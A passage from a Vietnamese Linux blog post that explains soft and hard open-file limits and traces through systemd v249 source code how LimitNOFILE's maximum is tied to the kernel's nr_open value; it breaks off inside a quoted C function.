FAMILUG.org Vietnamhttps://familug.github.io/2024-03-12T00:00:00+07:00Đọc source code xem systemd chạy chương trình mở được tối đa bao nhiêu file?2024-03-12T00:00:00+07:002024-03-12T00:00:00+07:00hvntag:familug.github.io,2024-03-12:/doc-source-code-xem-systemd-chay-chuong-trinh-mo-duoc-toi-da-bao-nhieu-file.html<p>Mặc định chương trình trên Linux chỉ mở được giới hạn file nhất định. Nếu chạy từ shell (như bash) giá trị này thường có thể xem từ lệnh </p>
<div class="highlight"><pre><span></span><code>$ <span class="nb">ulimit</span> -n
<span class="m">1024</span>
</code></pre></div>
<p>giá trị này có thể thay đổi ngay trên shell </p>
<div class="highlight"><pre><span></span><code>$ <span class="nb">ulimit</span> -n <span class="m">9999</span>
$ <span class="nb">ulimit</span> -n
<span class="m">9999</span>
</code></pre></div>
<h3>Set process …</h3><p>Mặc định chương trình trên Linux chỉ mở được giới hạn file nhất định. Nếu chạy từ shell (như bash) giá trị này thường có thể xem từ lệnh </p>
<div class="highlight"><pre><span></span><code>$ <span class="nb">ulimit</span> -n
<span class="m">1024</span>
</code></pre></div>
<p>giá trị này có thể thay đổi ngay trên shell </p>
<div class="highlight"><pre><span></span><code>$ <span class="nb">ulimit</span> -n <span class="m">9999</span>
$ <span class="nb">ulimit</span> -n
<span class="m">9999</span>
</code></pre></div>
<h3>Set process max open files trên Systemd</h3>
<p>Khi chạy bằng systemd, các service sẽ kết thừa giá trị limit của systemd hoặc tự set bằng LimitNOFILE</p>
<div class="highlight"><pre><span></span><code>$ systemd --version
systemd <span class="m">249</span> <span class="o">(</span><span class="m">249</span>.11-0ubuntu3.12<span class="o">)</span>
</code></pre></div>
<p>Theo <code>man 2 setrlimit</code></p>
<blockquote>
<p>A child process created via fork(2) inherits its parent's resource limits. Resource limits are preserved across execve(2).</p>
</blockquote>
<p>Xem giá trị theo 2 cách: dùng lệnh systemctl show và xem trên /proc filesystem</p>
<div class="highlight"><pre><span></span><code><span class="o">%</span><span class="w"> </span><span class="n">systemctl</span><span class="w"> </span><span class="n">show</span><span class="w"> </span><span class="n">cron</span><span class="o">|</span><span class="w"> </span><span class="n">grep</span><span class="w"> </span><span class="n">NOFILE</span><span class="w"> </span>
<span class="n">LimitNOFILE</span><span class="o">=</span><span class="mi">524288</span><span class="w"></span>
<span class="n">LimitNOFILESoft</span><span class="o">=</span><span class="mi">1024</span><span class="w"></span>
<span class="o">%</span><span class="w"> </span><span class="n">systemctl</span><span class="w"> </span><span class="n">status</span><span class="w"> </span><span class="n">cron</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">grep</span><span class="w"> </span><span class="n">PID</span><span class="w"></span>
<span class="w"> </span><span class="n">Main</span><span class="w"> </span><span class="n">PID</span><span class="p">:</span><span class="w"> </span><span class="mi">464</span><span class="w"> </span><span class="p">(</span><span class="n">cron</span><span class="p">)</span><span class="w"></span>
<span class="o">%</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">proc</span><span class="o">/</span><span class="mi">464</span><span class="o">/</span><span class="n">limits</span><span class="w"> </span>
<span class="n">Limit</span><span class="w"> </span><span class="n">Soft</span><span class="w"> </span><span class="n">Limit</span><span class="w"> </span><span class="n">Hard</span><span class="w"> </span><span class="n">Limit</span><span class="w"> </span><span class="n">Units</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">cpu</span><span class="w"> </span><span class="n">time</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">seconds</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">data</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">stack</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="mi">8388608</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">core</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">resident</span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">processes</span><span class="w"> </span><span class="mi">61289</span><span class="w"> </span><span class="mi">61289</span><span class="w"> </span><span class="n">processes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">open</span><span class="w"> </span><span class="n">files</span><span class="w"> </span><span class="mi">1024</span><span class="w"> </span><span class="mi">524288</span><span class="w"> </span><span class="n">files</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">locked</span><span class="w"> </span><span class="n">memory</span><span class="w"> </span><span class="mi">8388608</span><span class="w"> </span><span class="mi">8388608</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">address</span><span class="w"> </span><span class="n">space</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">locks</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">locks</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">pending</span><span class="w"> </span><span class="n">signals</span><span class="w"> </span><span class="mi">61289</span><span class="w"> </span><span class="mi">61289</span><span class="w"> </span><span class="n">signals</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">msgqueue</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="mi">819200</span><span class="w"> </span><span class="mi">819200</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">nice</span><span class="w"> </span><span class="n">priority</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">realtime</span><span class="w"> </span><span class="n">priority</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span>
<span class="n">Max</span><span class="w"> </span><span class="n">realtime</span><span class="w"> </span><span class="n">timeout</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">unlimited</span><span class="w"> </span><span class="n">us</span><span class="w"> </span>
</code></pre></div>
<h3>Soft limit vs hard limit</h3>
<p>Theo <code>man 5 limits.conf</code>: </p>
<div class="highlight"><pre><span></span><code><span class="nv">hard</span><span class="w"></span>
<span class="k">for</span><span class="w"> </span><span class="nv">enforcing</span><span class="w"> </span><span class="nv">hard</span><span class="w"> </span><span class="nv">resource</span><span class="w"> </span><span class="nv">limits</span>.<span class="w"> </span><span class="nv">These</span><span class="w"> </span><span class="nv">limits</span><span class="w"> </span><span class="nv">are</span><span class="w"> </span><span class="nv">set</span><span class="w"> </span><span class="nv">by</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">superuser</span><span class="w"> </span><span class="nv">and</span><span class="w"> </span><span class="nv">enforced</span><span class="w"></span>
<span class="nv">by</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">Kernel</span>.<span class="w"> </span><span class="nv">The</span><span class="w"> </span><span class="nv">user</span><span class="w"> </span><span class="nv">cannot</span><span class="w"> </span><span class="nv">raise</span><span class="w"> </span><span class="nv">his</span><span class="w"> </span><span class="nv">requirement</span><span class="w"> </span><span class="nv">of</span><span class="w"> </span><span class="nv">system</span><span class="w"> </span><span class="nv">resources</span><span class="w"> </span><span class="nv">above</span><span class="w"> </span><span class="nv">such</span><span class="w"></span>
<span class="nv">values</span>.<span class="w"></span>
<span class="nv">soft</span><span class="w"></span>
<span class="k">for</span><span class="w"> </span><span class="nv">enforcing</span><span class="w"> </span><span class="nv">soft</span><span class="w"> </span><span class="nv">resource</span><span class="w"> </span><span class="nv">limits</span>.<span class="w"> </span><span class="nv">These</span><span class="w"> </span><span class="nv">limits</span><span class="w"> </span><span class="nv">are</span><span class="w"> </span><span class="nv">ones</span><span class="w"> </span><span class="nv">that</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">user</span><span class="w"> </span><span class="nv">can</span><span class="w"> </span><span class="nv">move</span><span class="w"> </span><span class="nv">up</span><span class="w"> </span><span class="nv">or</span><span class="w"></span>
<span class="nv">down</span><span class="w"> </span><span class="nv">within</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">permitted</span><span class="w"> </span><span class="nv">range</span><span class="w"> </span><span class="nv">by</span><span class="w"> </span><span class="nv">any</span><span class="w"> </span><span class="nv">pre</span><span class="o">-</span><span class="nv">existing</span><span class="w"> </span><span class="nv">hard</span><span class="w"> </span><span class="nv">limits</span>.<span class="w"> </span><span class="nv">The</span><span class="w"> </span><span class="nv">values</span><span class="w"> </span><span class="nv">specified</span><span class="w"></span>
<span class="nv">with</span><span class="w"> </span><span class="nv">this</span><span class="w"> </span><span class="nv">token</span><span class="w"> </span><span class="nv">can</span><span class="w"> </span><span class="nv">be</span><span class="w"> </span><span class="nv">thought</span><span class="w"> </span><span class="nv">of</span><span class="w"> </span><span class="nv">as</span><span class="w"> </span><span class="nv">default</span><span class="w"> </span><span class="nv">values</span>,<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">normal</span><span class="w"> </span><span class="nv">system</span><span class="w"> </span><span class="nv">usage</span>.<span class="w"></span>
</code></pre></div>
<p>Theo <code>man 2 getrlimit</code></p>
<div class="highlight"><pre><span></span><code><span class="nv">The</span><span class="w"> </span><span class="nv">soft</span><span class="w"> </span><span class="nv">limit</span><span class="w"> </span><span class="nv">is</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">value</span><span class="w"> </span><span class="nv">that</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">kernel</span><span class="w"> </span><span class="nv">enforces</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">corre</span>‐<span class="w"></span>
<span class="nv">sponding</span><span class="w"> </span><span class="nv">resource</span>.<span class="w"> </span><span class="nv">The</span><span class="w"> </span><span class="nv">hard</span><span class="w"> </span><span class="nv">limit</span><span class="w"> </span><span class="nv">acts</span><span class="w"> </span><span class="nv">as</span><span class="w"> </span><span class="nv">a</span><span class="w"> </span><span class="nv">ceiling</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">soft</span><span class="w"></span>
<span class="nv">limit</span>:<span class="w"> </span><span class="nv">an</span><span class="w"> </span><span class="nv">unprivileged</span><span class="w"> </span><span class="nv">process</span><span class="w"> </span><span class="nv">may</span><span class="w"> </span><span class="nv">set</span><span class="w"> </span><span class="nv">only</span><span class="w"> </span><span class="nv">its</span><span class="w"> </span><span class="nv">soft</span><span class="w"> </span><span class="nv">limit</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="nv">a</span><span class="w"> </span><span class="nv">value</span><span class="w"></span>
<span class="nv">in</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">range</span><span class="w"> </span><span class="nv">from</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="nv">up</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">hard</span><span class="w"> </span><span class="nv">limit</span>,<span class="w"> </span><span class="nv">and</span><span class="w"> </span><span class="ss">(</span><span class="nv">irreversibly</span><span class="ss">)</span><span class="w"> </span><span class="nv">lower</span><span class="w"> </span><span class="nv">its</span><span class="w"></span>
<span class="nv">hard</span><span class="w"> </span><span class="nv">limit</span>.<span class="w"> </span><span class="nv">A</span><span class="w"> </span><span class="nv">privileged</span><span class="w"> </span><span class="nv">process</span><span class="w"> </span><span class="ss">(</span><span class="nv">under</span><span class="w"> </span><span class="nv">Linux</span>:<span class="w"> </span><span class="nv">one</span><span class="w"> </span><span class="nv">with</span><span class="w"> </span><span class="nv">the</span><span class="w"></span>
<span class="nv">CAP_SYS_RESOURCE</span><span class="w"> </span><span class="nv">capability</span><span class="w"> </span><span class="nv">in</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">initial</span><span class="w"> </span><span class="nv">user</span><span class="w"> </span><span class="nv">namespace</span><span class="ss">)</span><span class="w"> </span><span class="nv">may</span><span class="w"> </span><span class="nv">make</span><span class="w"> </span><span class="nv">ar</span>‐<span class="w"></span>
<span class="nv">bitrary</span><span class="w"> </span><span class="nv">changes</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="nv">either</span><span class="w"> </span><span class="nv">limit</span><span class="w"> </span><span class="nv">value</span>.<span class="w"></span>
</code></pre></div>
<p>Hard limit là giá trị admin set tối đa, để người dùng khác trên cùng hệ thống không set vượt quá được (dùng ulimit). Với system service, không có "người dùng" set giá trị (người dùng là admin??!), giá trị có ý nghĩa duy nhất ở đây là soft limit, thường được set bằng luôn với hard limit.</p>
<h3>Đọc code tìm giá trị tối đa cho Max open files LimitNOFILE</h3>
<p>Lấy code tại tag v249 về:</p>
<div class="highlight"><pre><span></span><code><span class="c">% git clone --depth 1 --branch v249 https://github.com/systemd/systemd</span><span class="w"></span>
<span class="n">Cloning</span><span class="w"> </span><span class="s">into</span><span class="w"> </span><span class="s">'systemd'...</span><span class="w"></span>
<span class="n">remote</span><span class="p">:</span><span class="w"> </span><span class="n">Enumerating</span><span class="w"> </span><span class="n">objects</span><span class="p">:</span><span class="w"> </span><span class="mi">4600</span><span class="p">,</span><span class="w"> </span><span class="n">done</span><span class="p">.</span><span class="w"></span>
<span class="n">remote</span><span class="p">:</span><span class="w"> </span><span class="n">Counting</span><span class="w"> </span><span class="n">objects</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="c">% (4600/4600), done.</span><span class="w"></span>
<span class="n">remote</span><span class="p">:</span><span class="w"> </span><span class="n">Compressing</span><span class="w"> </span><span class="n">objects</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="c">% (4063/4063), done.</span><span class="w"></span>
<span class="n">remote</span><span class="p">:</span><span class="w"> </span><span class="n">Total</span><span class="w"> </span><span class="mi">4600</span><span class="w"> </span><span class="p">(</span><span class="n">delta</span><span class="w"> </span><span class="mi">765</span><span class="p">),</span><span class="w"> </span><span class="n">reused</span><span class="w"> </span><span class="mi">1588</span><span class="w"> </span><span class="p">(</span><span class="n">delta</span><span class="w"> </span><span class="mi">287</span><span class="p">),</span><span class="w"> </span><span class="nb">pack</span><span class="o">-</span><span class="n">reused</span><span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="n">Receiving</span><span class="w"> </span><span class="s">objects:</span><span class="w"> </span><span class="s">100%</span><span class="w"> </span><span class="s">(4600/4600),</span><span class="w"> </span><span class="s">11.05</span><span class="w"> </span><span class="s">MiB</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mf">2.92</span><span class="w"> </span><span class="n">MiB</span><span class="o">/</span><span class="n">s</span><span class="p">,</span><span class="w"> </span><span class="n">done</span><span class="p">.</span><span class="w"></span>
<span class="n">Resolving</span><span class="w"> </span><span class="s">deltas:</span><span class="w"> </span><span class="s">100%</span><span class="w"> </span><span class="s">(765/765),</span><span class="w"> </span><span class="s">done.</span><span class="w"></span>
<span class="n">Note</span><span class="p">:</span><span class="w"> </span><span class="n">switching</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="s">'f6278558da0304ec6b646bb172ce4688c7f162a5'</span><span class="p">.</span><span class="w"></span>
<span class="k">...</span><span class="w"></span>
</code></pre></div>
<p>Tìm giá trị config LimitNOFILE trong các file code C</p>
<div class="highlight"><pre><span></span><code><span class="o">%</span><span class="w"> </span><span class="n">grep</span><span class="w"> </span><span class="o">-</span><span class="n">Rin</span><span class="w"> </span><span class="n">LimitNOFILE</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">grep</span><span class="w"> </span><span class="s1">'.c:'</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">grep</span><span class="w"> </span><span class="o">-</span><span class="n">v</span><span class="w"> </span><span class="n">test</span><span class="w"></span>
<span class="nl">grep</span><span class="p">:</span><span class="w"> </span><span class="n">test</span><span class="o">/</span><span class="nl">testdata</span><span class="p">:</span><span class="w"> </span><span class="nl">warning</span><span class="p">:</span><span class="w"> </span><span class="k">recursive</span><span class="w"> </span><span class="n">directory</span><span class="w"> </span><span class="n">loop</span><span class="w"></span>
<span class="n">src</span><span class="o">/</span><span class="n">core</span><span class="o">/</span><span class="n">main</span><span class="p">.</span><span class="nl">c</span><span class="p">:</span><span class="mi">681</span><span class="err">:</span><span class="w"> </span><span class="err">{</span><span class="w"> </span><span class="ss">"Manager"</span><span class="p">,</span><span class="w"> </span><span class="ss">"DefaultLimitNOFILE"</span><span class="p">,</span><span class="w"> </span><span class="n">config_parse_rlimit</span><span class="p">,</span><span class="w"> </span><span class="n">RLIMIT_NOFILE</span><span class="p">,</span><span class="w"> </span><span class="n">arg_default_rlimit</span><span class="w"> </span><span class="err">}</span><span class="p">,</span><span class="w"></span>
<span class="n">src</span><span class="o">/</span><span class="n">core</span><span class="o">/</span><span class="n">dbus</span><span class="o">-</span><span class="n">manager</span><span class="p">.</span><span class="nl">c</span><span class="p">:</span><span class="mi">2706</span><span class="err">:</span><span class="w"> </span><span class="n">SD_BUS_PROPERTY</span><span class="p">(</span><span class="ss">"DefaultLimitNOFILE"</span><span class="p">,</span><span class="w"> </span><span class="ss">"t"</span><span class="p">,</span><span class="w"> </span><span class="n">bus_property_get_rlimit</span><span class="p">,</span><span class="w"> </span><span class="n">offsetof</span><span class="p">(</span><span class="n">Manager</span><span class="p">,</span><span class="w"> </span><span class="n">rlimit</span><span class="o">[</span><span class="n">RLIMIT_NOFILE</span><span class="o">]</span><span class="p">),</span><span class="w"> </span><span class="n">SD_BUS_VTABLE_PROPERTY_CONST</span><span class="p">),</span><span class="w"></span>
<span class="n">src</span><span class="o">/</span><span class="n">core</span><span class="o">/</span><span class="n">dbus</span><span class="o">-</span><span class="n">manager</span><span class="p">.</span><span class="nl">c</span><span class="p">:</span><span class="mi">2707</span><span class="err">:</span><span class="w"> </span><span class="n">SD_BUS_PROPERTY</span><span class="p">(</span><span class="ss">"DefaultLimitNOFILESoft"</span><span class="p">,</span><span class="w"> </span><span class="ss">"t"</span><span class="p">,</span><span class="w"> </span><span class="n">bus_property_get_rlimit</span><span class="p">,</span><span class="w"> </span><span class="n">offsetof</span><span class="p">(</span><span class="n">Manager</span><span class="p">,</span><span class="w"> </span><span class="n">rlimit</span><span class="o">[</span><span class="n">RLIMIT_NOFILE</span><span class="o">]</span><span class="p">),</span><span class="w"> </span><span class="n">SD_BUS_VTABLE_PROPERTY_CONST</span><span class="p">),</span><span class="w"></span>
<span class="n">src</span><span class="o">/</span><span class="n">core</span><span class="o">/</span><span class="n">dbus</span><span class="o">-</span><span class="k">execute</span><span class="p">.</span><span class="nl">c</span><span class="p">:</span><span class="mi">1073</span><span class="err">:</span><span class="w"> </span><span class="n">SD_BUS_PROPERTY</span><span class="p">(</span><span class="ss">"LimitNOFILE"</span><span class="p">,</span><span class="w"> </span><span class="ss">"t"</span><span class="p">,</span><span class="w"> </span><span class="n">bus_property_get_rlimit</span><span class="p">,</span><span class="w"> </span><span class="n">offsetof</span><span class="p">(</span><span class="n">ExecContext</span><span class="p">,</span><span class="w"> </span><span class="n">rlimit</span><span class="o">[</span><span class="n">RLIMIT_NOFILE</span><span class="o">]</span><span class="p">),</span><span class="w"> </span><span class="n">SD_BUS_VTABLE_PROPERTY_CONST</span><span class="p">),</span><span class="w"></span>
<span class="n">src</span><span class="o">/</span><span class="n">core</span><span class="o">/</span><span class="n">dbus</span><span class="o">-</span><span class="k">execute</span><span class="p">.</span><span class="nl">c</span><span class="p">:</span><span class="mi">1074</span><span class="err">:</span><span class="w"> </span><span class="n">SD_BUS_PROPERTY</span><span class="p">(</span><span class="ss">"LimitNOFILESoft"</span><span class="p">,</span><span class="w"> </span><span class="ss">"t"</span><span class="p">,</span><span class="w"> </span><span class="n">bus_property_get_rlimit</span><span class="p">,</span><span class="w"> </span><span class="n">offsetof</span><span class="p">(</span><span class="n">ExecContext</span><span class="p">,</span><span class="w"> </span><span class="n">rlimit</span><span class="o">[</span><span class="n">RLIMIT_NOFILE</span><span class="o">]</span><span class="p">),</span><span class="w"> </span><span class="n">SD_BUS_VTABLE_PROPERTY_CONST</span><span class="p">),</span><span class="w"></span>
</code></pre></div>
<p>Xem RLIMIT_NOFILE trong <code>src/core/main.c</code> thấy systemd set giá trị tối đa số file có thể mở tới giá trị kernel giới hạn:</p>
<div class="highlight"><pre><span></span><code><span class="k">static</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="nf">bump_rlimit_nofile</span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">rlimit</span><span class="w"> </span><span class="o">*</span><span class="n">saved_rlimit</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">rlimit</span><span class="w"> </span><span class="n">new_rlimit</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">r</span><span class="p">,</span><span class="w"> </span><span class="n">nr</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="cm">/* Get the underlying absolute limit the kernel enforces */</span><span class="w"></span>
<span class="w"> </span><span class="n">nr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_nr_open</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="cm">/* Calculate the new limits to use for us. Never lower from what we inherited. */</span><span class="w"></span>
<span class="w"> </span><span class="n">new_rlimit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">rlimit</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">.</span><span class="n">rlim_cur</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MAX</span><span class="p">((</span><span class="kt">rlim_t</span><span class="p">)</span><span class="w"> </span><span class="n">nr</span><span class="p">,</span><span class="w"> </span><span class="n">saved_rlimit</span><span class="o">-></span><span class="n">rlim_cur</span><span class="p">),</span><span class="w"></span>
<span class="w"> </span><span class="p">.</span><span class="n">rlim_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MAX</span><span class="p">((</span><span class="kt">rlim_t</span><span class="p">)</span><span class="w"> </span><span class="n">nr</span><span class="p">,</span><span class="w"> </span><span class="n">saved_rlimit</span><span class="o">-></span><span class="n">rlim_max</span><span class="p">),</span><span class="w"></span>
<span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="cm">/* Shortcut if nothing changes. */</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">saved_rlimit</span><span class="o">-></span><span class="n">rlim_max</span><span class="w"> </span><span class="o">>=</span><span class="w"> </span><span class="n">new_rlimit</span><span class="p">.</span><span class="n">rlim_max</span><span class="w"> </span><span class="o">&&</span><span class="w"></span>
<span class="w"> </span><span class="n">saved_rlimit</span><span class="o">-></span><span class="n">rlim_cur</span><span class="w"> </span><span class="o">>=</span><span class="w"> </span><span class="n">new_rlimit</span><span class="p">.</span><span class="n">rlim_cur</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">log_debug</span><span class="p">(</span><span class="s">"RLIMIT_NOFILE is already as high or higher than we need it, not bumping."</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="cm">/* Bump up the resource limit for ourselves substantially, all the way to the maximum the kernel allows, for</span>
<span class="cm"> * both hard and soft. */</span><span class="w"></span>
<span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">setrlimit_closest</span><span class="p">(</span><span class="n">RLIMIT_NOFILE</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">new_rlimit</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">r</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">log_warning_errno</span><span class="p">(</span><span class="n">r</span><span class="p">,</span><span class="w"> </span><span class="s">"Setting RLIMIT_NOFILE failed, ignoring: %m"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Giá trị tối đa tuyệt đối được Linux kernel quyết định</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="cm">/* Get the underlying absolute limit the kernel enforces */</span><span class="w"></span>
<span class="w"> </span><span class="n">nr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_nr_open</span><span class="p">();</span><span class="w"></span>
</code></pre></div>
<p>Tìm function này:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="nt">grep</span><span class="w"> </span><span class="nt">-Rin</span><span class="w"> </span><span class="nt">read_nr_open</span><span class="w"></span>
<span class="nt">src</span><span class="o">/</span><span class="nt">basic</span><span class="o">/</span><span class="nt">fd-util</span><span class="p">.</span><span class="nc">h</span><span class="p">:</span><span class="nd">106</span><span class="p">:</span><span class="nd">int</span><span class="w"> </span><span class="nt">read_nr_open</span><span class="o">(</span><span class="nt">void</span><span class="o">);</span><span class="w"></span>
<span class="nt">src</span><span class="o">/</span><span class="nt">basic</span><span class="o">/</span><span class="nt">rlimit-util</span><span class="p">.</span><span class="nc">c</span><span class="p">:</span><span class="nd">382</span><span class="o">:</span><span class="w"> </span><span class="nt">limit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nt">read_nr_open</span><span class="o">();</span><span class="w"></span>
<span class="nt">src</span><span class="o">/</span><span class="nt">basic</span><span class="o">/</span><span class="nt">fd-util</span><span class="p">.</span><span class="nc">c</span><span class="p">:</span><span class="nd">701</span><span class="p">:</span><span class="nd">int</span><span class="w"> </span><span class="nt">read_nr_open</span><span class="o">(</span><span class="nt">void</span><span class="o">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="err">src/test/test-fd-util.</span><span class="n">c</span><span class="p">:</span><span class="mi">183</span><span class="o">:</span><span class="kc">static</span><span class="w"> </span><span class="n">void</span><span class="w"> </span><span class="nf">test_read_nr_open</span><span class="p">(</span><span class="n">void</span><span class="p">)</span><span class="w"> </span><span class="err">{</span><span class="w"></span>
<span class="n">src</span><span class="o">/</span><span class="n">test</span><span class="o">/</span><span class="n">test-fd-util</span><span class="o">.</span><span class="n">c</span><span class="o">:</span><span class="mi">184</span><span class="o">:</span><span class="w"> </span><span class="nf">log_info</span><span class="p">(</span><span class="s2">"nr-open: %i"</span><span class="p">,</span><span class="w"> </span><span class="nf">read_nr_open</span><span class="p">());</span><span class="w"></span>
<span class="err">src/test/test-fd-util.</span><span class="n">c</span><span class="p">:</span><span class="mi">291</span><span class="o">:</span><span class="w"> </span><span class="nf">test_read_nr_open</span><span class="p">();</span><span class="w"></span>
<span class="err">src/core/main.</span><span class="n">c</span><span class="p">:</span><span class="mi">1228</span><span class="o">:</span><span class="w"> </span><span class="n">k</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nf">read_nr_open</span><span class="p">();</span><span class="w"></span>
<span class="err">src/core/main.</span><span class="n">c</span><span class="p">:</span><span class="mi">1260</span><span class="o">:</span><span class="w"> </span><span class="n">nr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nf">read_nr_open</span><span class="p">();</span><span class="w"></span>
<span class="err">src/core/main.</span><span class="n">c</span><span class="p">:</span><span class="mi">2273</span><span class="o">:</span><span class="w"> </span><span class="n">nr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nf">read_nr_open</span><span class="p">();</span><span class="w"></span>
</code></pre></div>
<p>Trong <code>src/basic/fd-util.c</code> có định nghĩa function <code>int read_nr_open(void) {</code></p>
<div class="highlight"><pre><span></span><code><span class="kt">int</span><span class="w"> </span><span class="nf">read_nr_open</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">_cleanup_free_</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">nr_open</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">r</span><span class="p">;</span><span class="w"></span>
